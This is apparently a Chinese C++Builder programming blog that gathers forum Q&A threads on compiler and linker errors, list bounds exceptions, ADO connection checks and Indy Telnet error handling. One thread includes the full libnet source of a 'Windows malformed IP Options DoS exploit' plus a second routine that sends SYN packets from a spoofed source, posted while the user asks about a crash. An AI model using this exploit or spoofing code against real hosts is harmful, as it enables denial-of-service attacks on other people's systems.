C++Builder 程序员博客
28 Apr
软件:BCB5.0 XP系统
某成员函数里面内嵌简单汇编代码:
_asm {
mov ax, 0×0e07
xor bx, bx
}
编译错误信息:
[C++ Fatal error] F0000 Tasm32 returned with an error while assembling the file XXX.asm
试了一些办法,如在该cpp文件最前面加#pragma inline 或更改advancecompiler的cpu类型为奔腾等,都不能fix错误。
请大家帮忙支支招。 先谢谢了。
http://topic.csdn.net/t/20020518/09/732071.html
http://book.77169.org/ask29/how206603.htm
http://www.xmsc.com.cn/InfoView/Article_118425.html
看了楼上的文章,都没解决问题。 个人感觉是跟bcb5.0编译设置相关。
不知大家有没有遇到过类似问题呢。
那你看看设置里面有没有相关的
up一下
没弄过,帮顶
你可以把ASM先编译成OBJ,在通过链接来完成
调用的话和LIB的操作一样
up
12 Jan
我有一个例子程,
#include <stdio.h>
#include <stdafx.h>
#include <string.h>
#include <time.h>
#include "libnet.h"
#define IP_H 20
#define IPOPTS_MAX 40
struct ip
{
u_char ip_vhl;
u_char ip_tos ; /* IP tos */
u_short ip_len ; /* total length */
u_short ip_id ; /* IP ID */
u_short ip_off ; /* fragmentation flags */
u_char ip_ttl ; /* time to live */
u_char ip_p ; /* transport protocol */
u_short ip_sum ;
u_long saddr ;
u_long daddr ;
} ;
struct tcphdr
{
u_short th_sport ;
u_short th_dport ;
u_long th_seq ;
u_long th_ack ;
u_char th_hlen;
u_char th_flags ;
u_short th_win ;
u_short th_sum ;
u_short th_urp ;
};
void banner();
void usage(char *);
int main(int argc, char **argv)
{
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_t *l;
char *device ="\Device\NPF_{EDE6078E-5460-4853-8852-6CF2B5374240}";
int c;
u_char *buf;
int packet_len = 0;
struct ip *IP;
struct tcphdr *TCP;
u_int32_t src = 0, dst = 0;
banner();
if (argc < 4) usage(argv[0]);
if ((l = libnet_init(LIBNET_RAW4, device, errbuf)) == NULL) {
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(-1);
}
if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "Unresolved source address
");
exit(-1);
}
if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "Unresolved destination address
");
exit(-1);
}
if ( (buf =(unsigned char *)malloc(IP_MAXPACKET)) == NULL ) {
perror("malloc");
exit(-1);
}
buf[20] = atoi(argv[3]);
buf[21] = 39; // our malformed size
for (c = 0; c <38; c+=3)
strncpy((char*)&buf[22+c], "ECL", 3); // padding
TCP = (struct tcphdr *)(buf + IP_H + IPOPTS_MAX);
TCP->th_hlen = 5;
packet_len = IP_H + IPOPTS_MAX + (TCP->th_hlen < < 2);
srand(time(NULL));
IP = (struct ip *) buf;
IP->ip_vhl =IP->ip_vhl & 0 | 0×01010100; /* version 4 */
IP->ip_tos = 0; /* IP tos */
IP->ip_len = htons(packet_len); /* total length */
IP->ip_id = rand(); /* IP ID */
IP->ip_off = htons(0); /* fragmentation flags */
IP->ip_ttl = 64; /* time to live */
IP->ip_p = IPPROTO_TCP; /* transport protocol */
IP->ip_sum = 0;
IP->saddr = src;
IP->daddr = dst;
TCP->th_sport = htons(1337);
TCP->th_dport = htons(80);
TCP->th_seq = 0;
TCP->th_ack = 0;
TCP->th_hlen = 5;
TCP->th_flags = TH_SYN;
TCP->th_win = rand() & 0xffff;
TCP->th_sum = 0;
TCP->th_urp = 0;
libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_TCP, TCP->th_hlen < < 2);
if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1)
{
fprintf(stderr, "Write error: %s
", libnet_geterror(l));
exit(-1);
}
printf("Packet sent.
");
libnet_destroy(l);
free(buf);
return (0);
}
void usage(char *cmd)
{
printf("Usage: %s <source> <destination> <option>
",cmd);
exit(-1);
}
void banner()
{
printf(" Windows malformed IP Options DoS exploit
"
" Yuri Gushin <yuri@eclipse.org.il>
"
" Alex Behar <alex@eclipse.org.il>
"
" ECL Team
");
}
还有一个其它的程序,但是出现的错误都是一样的:编译链接可以通过,但每当运行后执行到libnet_write****时,就会出现致命错误.用VC++GO去调试,停留在00000000()处.
现向各位请教一下,我这是出了什么问题
bool CSpoofView::Msend(char dst_str[amx])
{
libnet_t* l;
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t ptag=0;
srand(time(NULL));
l=libnet_init(LIBNET_RAW4,name,errbuf);
if(NULL==l) { MessageBox(errbuf); goto err1217; }
if(-1==(src_ip=libnet_name2addr4(l,src_str,LIBNET_RESOLVE))) goto err1217; //变换后便为网络字节次序
if(-1==(dst_ip=libnet_name2addr4(l,dst_str,LIBNET_RESOLVE))) goto err1217;
ptag=libnet_build_tcp(
rand()/*源端口号*/, 1989/*目的端口*/,
rand()/*序列号*/, rand()/*ACK*/,
TH_SYN/*控制标记*/,32767/*窗口大小*/,
0/*校验和*/,0/*紧急指针*/,
LIBNET_TCP_H/*数据包大小*/,NULL/*负载*/,
0/*负载大小*/,
l/*libnet句柄*/,
0/*协议标记块0表示新建*/
);
if(-1==ptag) goto err1217;
ptag=libnet_build_ipv4(
LIBNET_IPV4_H+LIBNET_TCP_H /*数据包大小*/,
0/*服务质量*/,rand()/*标识*/,
0/*偏移*/,128/*生存时间*/,
IPPROTO_TCP/*上层协议类型*/,0/*校验和*/,
src_ip/*源IP*/,dst_ip/*目标IP*/,
NULL/*负载*/,0/*负载大小*/,
l/*libnet句柄*/,
0/*协议标记块0表示新建*/
);
if(-1==ptag) goto err1217; //网络字节顺序转换:涉及两个字节或以上的加htons
if(-1==libnet_write(l)) goto err1217; //将构造好的数据包发送出去
libnet_destroy(l);
return true;
err1217:MessageBox(libnet_geterror(l));
libnet_destroy(l);
return false;
}
这是我的另一段代码,但是同样的错误.请各位多多赐教.
23 Nov
程序中使用了wsprintfW,报链接错误:
[Linker Error] Unresolved external 'wsprintfWInternal(wchar_t *, const wchar_t *, …)'
如何解决 ?
wsprintfWInternal 这个函数会不会是自己声明了却没有实现。
控制台程序?
不是的,调用COM对象,要求参数是wchar_t,我用这个参数格式化
莫非你的工程和DirectShow有关?
<
25 Jun
[Linker Error] Unresolved external '_Dirselform' referenced from C:1IBLYCARD.OBJ
[Linker Error] Unresolved external 'TDirselform::' referenced from C:1IBLYCARD.OBJ
这个错误,是我把文件夹放到桌面上才出现的错误,当然报错的路径也不是这个。
后来放到C盘就没事了,
我看过Directories/Conditionals
include path是
C:Program FilesBorlandCBuilder6Projects;$(BCB)include;$(BCB)includevcl;C:1
我把文件夹放到D盘后编译,没出错,但include path依然是这个
不知道为什么
文件夹换后,include的路径不会换的,要手动换,或者把需要的东西拷到程序所在目录
24 Jun
[Linker Error] Unresolved external '_Dirselform' referenced from C:1IBLYCARD.OBJ
[Linker Error] Unresolved external 'TDirselform::' referenced from C:1IBLYCARD.OBJ
这个错误,是我把文件夹放到桌面上才出现的错误,当然报错的路径也不是这个。
后来放到C盘就没事了,
我看过Directories/Conditionals
include path是
C:Program FilesBorlandCBuilder6Projects;$(BCB)include;$(BCB)includevcl;C:1
我把文件夹放到D盘后编译,没出错,但include path依然是这个
不知道为什么
文件夹换后,include的路径不会换的,要手动换,或者把需要的东西拷到程序所在目录
7 May
[Linker Error] Unresolved external 'TForm1::' referenced from D:DUXINGCHAO老师柱结构倒塌可视化\COLLAPSECOLLAPSE.OBJ
COLLAPSE.cpp没有包含TForm1.h或者COLLAPSE.cpp中TForm1类已经叫你改名字了,有的代码还用的是TForm1,看一下COLLAPSE.cpp和.h文件修改一下就可以了.
谢谢楼上各位!
13 Apr
运行程序的过程中出现了一个对话框,内容如下,是什么原因呢?
Project collapse.exe raised exception class ElistError with message 'list index out of bounds(1)'.Process stopped.Use Step or Run to Continue.
那个对话框怎么复制不进来呢?
List越界了,跟踪程序到出错处,检测List的Count属性和你要访问的元素即可确定。
您好,楼上的意思是我多读取一个数据,定义的数组少一位吗?
list越界了
不一定是少一个,肯定是少了。
应该是访问list时越界了,访问的位置大于了list的count
7 Apr
开发环境 CodeGear™ C++Builder⮠Version 11.0.2709.7128 Copyright ⩠2007
程序功能 就是联接数据库,然后根据 state判断是否联接成功,本人一初级水平,请指教。
代码里面这段话:
if (ADOConnection1->State ==stOpen)
{
LbConnectHint->Caption="联接数据库失败!";
Button1->Enabled=True;
} else {
LbConnectHint->Caption="联接数据库失败!";
}
错误代码:
Unit1.cpp(52): E2094 'operator!=' not implemented in type 'TObjectStates' for arguments of type 'TObjectState'
还是判断Connected比较准确
7 Apr
[C++ Error] Unit1.cpp(23): E2139 Declaration missing ;
[C++ Error] Unit1.cpp(145): E2089 Identifier 'Timer1Timer' cannot have a type qualifier
[C++ Error] Unit1.cpp(208): E2089 Identifier 'Button5Click' cannot have a type qualifier
[C++ Error] Unit1.cpp(82): E2288 Pointer to structure required on left side of -> or ->*
[C++ Error] Unit1.cpp(82): E2288 Pointer to structure required on left side of -> or ->*
[Quote=引用楼主 duxingchao 的帖子:]
[C++ Error] Unit1.cpp(23): E2139 Declaration missing ;
第23行 ,没有“;”
[C++ Error] Unit1.cpp(145): E2089 Identifier 'Timer1Timer' cannot have a type qualifier
[C++ Error] Unit1.cpp(208): E2089 Identifier 'Button5Click' cannot have a type qualifier
[C++ Error] Unit1.cpp(82): E2288 Pointer to structure required on left side of -> or ->*
[C++ Error] Unit1.cpp(82): E2288 Pointer to structure required on lef…
经典错误
头文件或数据结构没找到吧!
头文件
谢谢楼上各位大侠帮忙!是数据结构没找到,但好像又出现新问题了。
谢谢楼上各位大侠帮忙!是数据结构没找到,但好像又出现新问题了。
[C++ Error] Unit1.cpp(736): E2186 Unexpected end of file in comment started on line 486
SetLastError((int)ERROR_UNEXP_NET_ERR);
上个打错了,多了个括号.
18 Mar
我用BCB6(INDY不记得版本了)或者BCB2007(INDY10)里面 IDTELNET控件.
就是直接建立一个winfrom程序,在界面拖了个IDTELNET出来.
之后连接到telnet服务器,如果在连接的过程中,网络出现错误的话,那么应用程序会弹出错误:
raised exception class EIdSocketError whith meessage 'Socket Error # 10054 Connection reset by peer.'
我想知道我的才程序可以自己处理这些错误吗?如果可以是怎么个方式进行错误的铺获,而不是动不动就弹出一个对话框来.
try { IdTelnet1->Connect(); } catch(Exception &e) { ShowMessage(e.Message); }
可以在catch住错误后,自行处理,这里是显示错误提示。
可能我对INDY的组件模式还是理解上有问题吧.
大家也对我的问题理解有所错误.
我在界面拉了个IDTELNET出来,之后一个MEMO,在MEMO的KEYPRESS事件把key通过idtelnet发到服务器上去/
idtelnet接收到的数据在MEMO显示出:
//发送输入的按键
void __fastcall TForm1::Memo1KeyPress(TObject *Sender, char &Key)
{
IdTelnet1->SendCh(Key);
Key=0;
}
//显示接收到的数据
void __fastcall TForm1::IdTelnet1DataAvailable(TIdTelnet *Sender,
const AnsiString Buffer)
{
AnsiString s;
int i;
s=Buffer;
while(1)
{
i=s.Pos("\r");
if(i <1) break;
s.Delete(i,1);
s.Insert("\n\n",i);
}
while(1)
{
i=s.Pos("\n\n");
if(i <1) break;
s.Delete(i,2);
s.Insert("\r\n",i);
}
if(Memo1->Lines->Count <1) Memo1->Lines->Add("");
Memo1->Lines->Strings[Memo1->Lines->Count-1]=
Memo1->Lines->Strings[Memo1->Lines->Count-1]+s;
}
//连接
void __fastcall TForm1::Button1Click(TObject *Sender)
{
try
{
IdTelnet1->Host=Edit1->Text.Trim();
IdTelnet1->Port=atoi(Edit2->Text.c_str());
IdTelnet1->Connect();
}
catch (…)
{
;//如果在点连接的时候服务器连接不上的时候,可以铺抓到异常.这里没有问题
}
}
现在的问题是:我点Button1连接成功,welcome…的字符也出来了,我输入用户跟密码后,已经连接成功了.
这个时候我什么都不做,直接把电脑的网络断开(可以是把连接禁止或者把我网线拔掉,总之结果就是造成运行程序的主机到服务器的网络是不通的)
那么等一下程序就弹出:
raised exception class EIdSocketError whith meessage 'Socket Error # 10054 Connection reset by peer.'
这个错误了,这个时候我没有执行任何的操作,我的代码是抓不到的,这个控件也没有OnError类的事件给到我.我应该在怎么得到这些错误异常呢?
这个错误应该可以被WinMain里的catch抓到(就是Project->View Source里的代码)
这个错误只能被winmain拦截了。
try
{
Application->Initialize();
Application->CreateForm(__classid(TForm1), &Form1);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);//在这里进行你自己的错误处理
}
upup
void __fastcall OnTerminate(TObject* Sender);
void __fastcall OnException(TIdThread* AThread, Exception* AException);
void __fastcall TForm1::Button1Click(TObject *Sender)
{
try
{
IdTelnet1->Host=Edit1->Text.Trim();
IdTelnet1->Port=atoi(Edit2->Text.c_str());
IdTelnet1->ThreadedEvent=true;
IdTelnet1->Connect();
IdTelnet1->TelnetThread->OnTerminate=OnTerminate;
IdTelnet1->TelnetThread->OnException=OnException;
//while(1){Application->ProcessMessages();}
}
catch (…)
{
;
}
}
好象这样错误,断开连接等…都过来了
看来是找到方法了。祝贺
帮你up